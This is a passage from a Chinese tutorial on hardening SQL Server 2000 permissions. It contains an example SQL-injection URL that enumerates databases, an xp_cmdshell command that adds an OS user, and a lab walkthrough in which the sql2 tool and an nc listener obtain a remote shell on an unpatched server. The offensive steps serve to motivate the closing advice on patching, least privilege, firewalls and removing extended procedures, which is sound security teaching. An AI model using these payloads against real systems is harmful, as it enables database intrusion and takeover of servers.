1)、新建aaa用戶如圖17,新建登錄後出現圖18界面,輸入用戶名aaa,在輸入個強壯的密碼。 圖17 ·安全標識與警示標識標簽圖例與標准·XP瘦身、加速、安全全攻略·安全也簡單,注意系統的“區域和語言”·工業安全標簽標識與OSHA·TCP/IP各層的安全性和提高各層安全性的·TCP/IP各層的安全性和提高各層安全性的·TCP/IP各層的安全性和提高各層安全性的·安全-包過濾控制訪問列表·FTP的安全問題 《轉》·寬帶帳號安全威脅及防范方法
圖182)、設置權限如圖18,在“服務器角色”選項中什麼也不選,如圖19,在“數據庫訪問”選項中只選“xyz”庫,也就是說只讓aaa用戶訪問xyz庫。“數據庫角色中允許”只選默認的“public”。 圖19 圖203)、測試設置好後,用aaa用戶登陸“SQL 查詢分析器”,如圖21,執行exec xp_cmdshell 'net user user1 /add',,出現了期待的結果,沒有權限執行。 圖21接著執行SELECT name FROM sysdatabases where dbid>6,期待的結果是沒有權限執行,可實際的結果和圖10的查詢結果一模一樣,aaa用戶不是沒有master庫的權限嗎?aaa用戶除了不能訪問自己建的庫wz_cxxt_new外,其它的庫都能訪問,問題出在哪呢?問題出在public 角色,下面這段話是SQL Server幫助中寫的。public 角色是一個特殊的數據庫角色,每個數據庫用戶都屬於它。public 角色:· 捕獲數據庫中用戶的所有默認權限。· 無法將用戶、組或角色指派給它,因為默認情況下它們即屬於該角色。· 含在每個數據庫中,包括 master、msdb、tempdb、model 和所有用戶數據庫。· 無法除去。如圖22是master庫中的“public”角色,雙擊“public”,在界面中單擊“權限”,出現圖23界面,可以看到該角色具有sysdatabases的訪問權限。可以看到權限分得非常細,有select、insert、update、delete等,如圖24,把權限改為禁止,再執行SELECT name FROM sysdatabases時出現了“拒絕了對對象 'sysdatabases'(數據庫 'master',所有者 'dbo')的 SELECT 權限。”的提示。 圖22 圖23 圖24Public角色默認沒有執行擴展存儲過程的權限,但可以賦予該角色執行的權限,有訪問庫的權限,也可以去掉。看到這,是不是覺得非常麻煩,本來權限的設置就是個雙刃劍,設置得過於寬松會有安全漏洞,過於嚴格在程序運行時可能會出問題,本文無法給出一個徹底的解決方案,只要在懂得原理的基礎上,在實踐中不斷摸索才能理出一個最佳方案。3、注入對於SQL Server ASP的注入,有一種是ASP連接SQL Server用戶的權限足夠大,而ASP程序本身有漏洞,而從而構造出類似***.com/aaa.asp?id=2300 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 這樣的SQL語句,根據前文講的原理暴出庫、表及相應的紀錄。關於注入有許多精彩和經典的文章,還有像NBSI2那樣好用的工具,在此就不班門弄斧了。三、SQL Server不打補丁的漏洞小王的SQL Server是安裝在win 2000上的,沒有打補丁,沒打補丁的SQL Server就是個大漏勺,無論你的權限設置的多麼嚴格都是一張一捅就破的爛紙。下面的例子是對有漏洞的SQL Serve(安裝在192.168.113.10這台機器上)的攻擊,實驗中用到了兩個工具,nc和sql2,nc別名瑞士軍刀,是古老且十分強大的網絡工具,如果想知道詳細用法請參考網上的相關資料,sql2是專門攻擊有漏洞的SQL Serve(sp2以下,含sp2),過程如下:如圖25,在我的機器(IP地址為192.168.113.207)的命令窗口下(運行cmd)運行nc –l –p 77,意思是在本機開個77的端口新建一個命令窗口,運行sql2 192.168.113.10 192.168.113.207 77 0如果192.168.113.10上的SQL Serve有漏洞,192.168.113.207的nc監視窗口就會出現下圖26的界面,注意!這個界面可是裝有SQL Serve機器的,換句話,我們已經入侵到這台機器了。接著看下圖27,用ipconfig 查的地址是192.168.113.10,它歸你控制了,簡單吧!
圖25 圖26 圖27四、幾點建議1、及時打補丁不打補丁的危害上面已經演示了,道理就不用多說了吧!2、最小的權限等於對大的安全這句話說起容易,做起難,有一個簡單易行的辦法就是用流行的漏洞掃描工具和攻擊工具檢測本系統是否安全,這樣的工具非常多,自己找吧。3、安裝防火牆如果只是在本機調試系統,安裝防火牆是非常好的選擇,這樣即使有漏洞別人也無法攻擊。4、改變端口如果SQL Serve需要遠程訪問,端口一定是要開放的,即使安裝了防火牆,也要將SQL Serve的服務端口1433放開,針對SQL Serve的攻擊工具主要掃描的是1433端口,可以改變默認端口,這樣雖然不能從根本上解決問題,但可以對付一般的掃描,改變端口最簡單的辦法是在打開“開始”——〉“所有程序”——〉“Microsoft SQL Serve” ——〉“服務器網絡實用工具”,在界面中選中“TCP/IP”,點擊“屬性”,把1433改為不超過65535的一個數,重啟SQL Serve服務,這樣默認端口就改了,注意這時你遠程連接SQL Serve時IP地址後要加改過的端口號。5、刪除不需要的擴展存儲過程如果你的系統中確實不需要這些擴展存儲過程可以刪除。刪除存儲過程的命令是:EXEC sp_dropextendedproc ‘存儲過程的名稱’例如要刪除xp_cmdshell,執行EXEC sp_dropextendedproc ‘xp_cmdshell’,每個擴展存儲過程實際上用的是相應的dll文件,如果想徹底讓該存儲過程不起作用,還要將dll文件也刪除。這些文件一般存在Program Files\Microsoft SQL Server\MSSQL\Binn下,如圖28,xp_cmdshell的dll文件是xplog70.dll要恢復該存儲過程,命令是:EXEC sp_addextendedproc存儲過程的名稱 ,@dllname ='存儲過程的dll'例如:恢復存儲過程xp_cmdshellEXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll',注意,恢復時如果xplog70.dll已刪除需要copy一個。圖28